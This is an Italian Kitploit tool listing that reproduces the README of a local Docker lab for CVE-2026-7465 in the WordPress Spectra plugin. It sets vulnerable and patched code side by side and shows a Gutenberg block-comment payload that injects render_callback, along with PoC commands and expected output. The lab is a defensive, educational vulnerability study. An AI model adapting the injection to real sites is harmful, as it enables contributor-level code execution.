Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-7465-Lab — Laboratorio Docker locale per analizzare e riprodurre il CVE-2026-7465 nel plugin WordPress Spectra Gutenberg Blocks. Confronta le versioni vulnerabile e corretta con un PoC a minimo impatto che dimostra l'iniezione di render_callback. | Kitploit
Strumenti/GitHubGitHub/rootdirective-sec/cve-2026-7465-lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFApprendimento e FormazioneLab e Pratica
GitHubrootdirective-sec/cve-2026-7465-lab

CVE-2026-7465-Lab

Laboratorio Docker locale per analizzare e riprodurre il CVE-2026-7465 nel plugin WordPress Spectra Gutenberg Blocks. Confronta le versioni vulnerabile e corretta con un PoC a minimo impatto che dimostra l'iniezione di render_callback.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
2 mesi faNon ancora revisionato

CVE-2026-7465 - Laboratorio Locale Spectra Gutenberg Blocks

Laboratorio Docker locale per analizzare e riprodurre CVE-2026-7465 nel plugin WordPress Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg).

Il laboratorio confronta:

  • vuln: Spectra 2.19.25
  • patched: Spectra 2.19.26

La prova è intenzionalmente a danno minimo. Non esegue comandi shell, non carica file, non crea utenti, né modifica direttamente il container. Il PoC crea un post bozza temporaneo di WordPress, verifica il comportamento dei blocchi renderizzati, quindi elimina la bozza.


Riepilogo

CVE-2026-7465 è una vulnerabilità in Spectra Gutenberg Blocks in cui attributi di blocco Gutenberg controllati dall'utente potevano essere passati come argomenti di registrazione dei blocchi di WordPress.

Nella versione vulnerabile, Spectra registra dinamicamente i blocchi uagb/* analizzati utilizzando gli attributi dei blocchi dal contenuto del post:

root@kitploit:~
$registry->register( $block['blockName'], $block['attrs'] );

Poiché un Collaboratore (Contributor) può creare contenuti di post contenenti commenti di blocchi Gutenberg, un utente autenticato con ruolo di Collaboratore può influenzare argomenti di registrazione come render_callback.

La versione 2.19.26 risolve il problema registrando il blocco con un array di argomenti vuoto:

root@kitploit:~
$registry->register( $block['blockName'], array() );

Ciò impedisce che gli attributi dei blocchi controllati dal post diventino opzioni di registrazione PHP dei blocchi.


Componente Affetto

Prodotto:

root@kitploit:~
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg

Versioni utilizzate in questo laboratorio:

root@kitploit:~
vulnerable: 2.19.25
patched:    2.19.26

Il changelog di WordPress.org per 2.19.26 afferma che l'aggiornamento ha risolto un bug di sicurezza e riconosce Wordfence per la segnalazione responsabile.


Causa Principale

La logica vulnerabile si trova in:

root@kitploit:~
classes/class-uagb-init-blocks.php

Il codice vulnerabile verifica se un nome di blocco analizzato contiene il namespace uagb/. Se il blocco non è già registrato, lo registra dinamicamente.

Comportamento vulnerabile

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], $block['attrs'] );
    }
}

Il problema è il secondo argomento:

root@kitploit:~
$block['attrs']

In Gutenberg, gli attributi dei blocchi possono essere memorizzati all'interno del contenuto del post, ad esempio:

root@kitploit:~
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->

Un Collaboratore può creare contenuti di post bozza. Pertanto, l'attaccante può influenzare $block['attrs'].

Quando questi attributi vengono passati a WP_Block_Type_Registry::register(), diventano argomenti di registrazione dei blocchi. Un argomento di registrazione sensibile è:

root@kitploit:~
render_callback

Questo crea una primitiva di controllo dei callback.

Comportamento corretto

Nella 2.19.26, Spectra registra ancora il nome del blocco uagb/* analizzato, ma non passa più gli attributi controllati dal post come argomenti di registrazione:

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], array() );
    }
}

Il cambiamento importante è:

root@kitploit:~
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );

Questo rimuove gli attributi controllati dall'attaccante dal percorso di registrazione del blocco.


Perché il PoC Utilizza maybe_serialize

Il PoC non utilizza callback PHP pericolosi come system, exec, shell_exec o passthru.

Invece, utilizza:

root@kitploit:~
maybe_serialize

Il contenuto del blocco di prova è:

root@kitploit:~
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->

Comportamento previsto:

root@kitploit:~
vulnerable:
  render_callback from block attrs is accepted
  marker appears in rendered content

patched:
  render_callback from block attrs is ignored
  marker does not appear in rendered content

Questo dimostra il comportamento vulnerabile senza eseguire comandi o scrivere file.


Architettura del Laboratorio

Servizi:

root@kitploit:~
db_vuln      MariaDB per WordPress vulnerabile
db_patched   MariaDB per WordPress corretto
vuln         WordPress + Spectra 2.19.25
patched      WordPress + Spectra 2.19.26
seed_vuln    setup WordPress one-shot per sito vulnerabile
seed_patched setup WordPress one-shot per sito corretto

Porte locali:

root@kitploit:~
http://127.0.0.1:8181 -> WordPress vulnerabile
http://127.0.0.1:8182 -> WordPress corretto

Utente WordPress preconfigurato:

root@kitploit:~
username: contributor
password: contributorpass123!
ruolo:    contributor

Il PoC è solo HTTP. Interagisce con WordPress tramite login e richieste API REST.


Struttura del Repository

root@kitploit:~
.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

Esecuzione del Laboratorio

Avvia da un ambiente pulito:

root@kitploit:~
docker compose down -v --remove-orphans
docker compose up -d --build

Controlla i container:

root@kitploit:~
docker compose ps

Controlla i log di seed:

root@kitploit:~
docker compose logs seed_vuln seed_patched

Risultato atteso del seed:

root@kitploit:~
[+] seed vuln: done
[+] seed patched: done

Esecuzione del PoC

Testa il target vulnerabile:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8181

Verdetto atteso per vulnerabile:

root@kitploit:~
[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED

Testa il target corretto:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8182

Verdetto atteso per corretto:

root@kitploit:~
[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED

Output Atteso

Vulnerabile - Spectra 2.19.25

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.25
  spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: True
  rendered_length:          227
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete

Corretto - Spectra 2.19.26

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.26
  spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: False
  rendered_length:          1
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete

Interpretazione delle Evidenze

Il confronto importante è:

root@kitploit:~
raw_contains_marker
rendered_contains_marker

Sia il target vulnerabile che quello corretto dovrebbero mostrare:

root@kitploit:~
raw_contains_marker: True

Questo conferma che lo stesso contenuto del blocco è stato salvato con successo in un post bozza temporaneo.

La differenza è nell'output renderizzato:

root@kitploit:~
vulnerable:
  rendered_contains_marker: True

patched:
  rendered_contains_marker: False

Questo dimostra che la versione vulnerabile ha accettato il render_callback controllato dal post, mentre la versione corretta no.

Pulizia

Arresta e rimuovi container, reti e volumi:

root@kitploit:~
docker compose down -v --remove-orphans

Rimuovi la cache Python se presente:

root@kitploit:~
rm -rf poc/__pycache__

Note di Sicurezza

Questo repository è solo per ricerca sulla sicurezza locale e dimostrazione di portfolio.

Il PoC:

  • ha come target solo indirizzi localhost o loopback
  • utilizza accesso WordPress autenticato nel laboratorio locale
  • crea un post bozza temporaneo
  • elimina il post bozza dopo aver verificato il comportamento renderizzato
  • non esegue comandi shell
  • non carica file
  • non crea utenti
  • non modifica direttamente i container Docker
  • non fornisce un flusso di lavoro di sfruttamento remoto

Non eseguire questo contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione di test.


Riferimenti

  • Pagina del Plugin WordPress.org: Spectra Gutenberg Blocks - Website Builder per l'Editor a Blocchi
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/

  • Changelog di WordPress.org: aggiornamento di sicurezza 2.19.26 - lunedì 4 maggio 2026 attribuito a Wordfence
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers

  • WordPress Plugin SVN / Trac
    https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/

Scarica lo strumento